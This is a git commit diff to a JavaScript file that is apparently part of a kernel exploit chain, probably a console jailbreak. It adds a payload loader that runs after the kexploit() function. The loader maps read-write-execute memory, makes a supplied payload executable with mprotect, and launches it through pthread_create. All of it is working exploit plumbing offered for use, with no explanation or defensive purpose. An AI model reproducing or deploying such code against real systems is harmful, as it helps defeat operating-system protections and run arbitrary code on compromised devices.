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Added Back Jhon Payload Loader

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This commit is contained in:
Kameleon
2025-05-28 06:30:26 -06:00
parent d731d8059d
commit 5e463303bb
1 changed files with 11 additions and 37 deletions
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lapse.mjs
+11 -37
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@@ -96,6 +96,9 @@ const CPU_LEVEL_WHICH = 3;
const CPU_WHICH_TID = 1;
// sys/mman.h
const PROT_READ = 1;
const PROT_WRITE = 2;
const PROT_EXEC = 4;
const MAP_SHARED = 1;
const MAP_FIXED = 0x10;
@@ -1742,48 +1745,19 @@ export async function kexploit() {
}
}
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
kexploit().then(() => {
window.pld_size = new Int(0x26200000, 0x9);
var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
var payload = window.pld;
var bufLen = payload.length * 4
var payload_loader = malloc32(bufLen);
var loader_writer = payload_loader.backing;
for (var i = 0; i < payload.length; i++) {
loader_writer[i] = payload[i];
}
chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
var pthread = malloc(0x10);
var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, -1, 0);
var payload_loader = new View4(window.pld);
chain.sys('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
const ctx = new Buffer(0x10);
const pthread = new Pointer();
pthread.ctx = ctx;
call_nze(
'pthread_create',
pthread,
pthread.addr,
0,
payload_loader,
payload_loader.addr,
payload_buffer,
);
})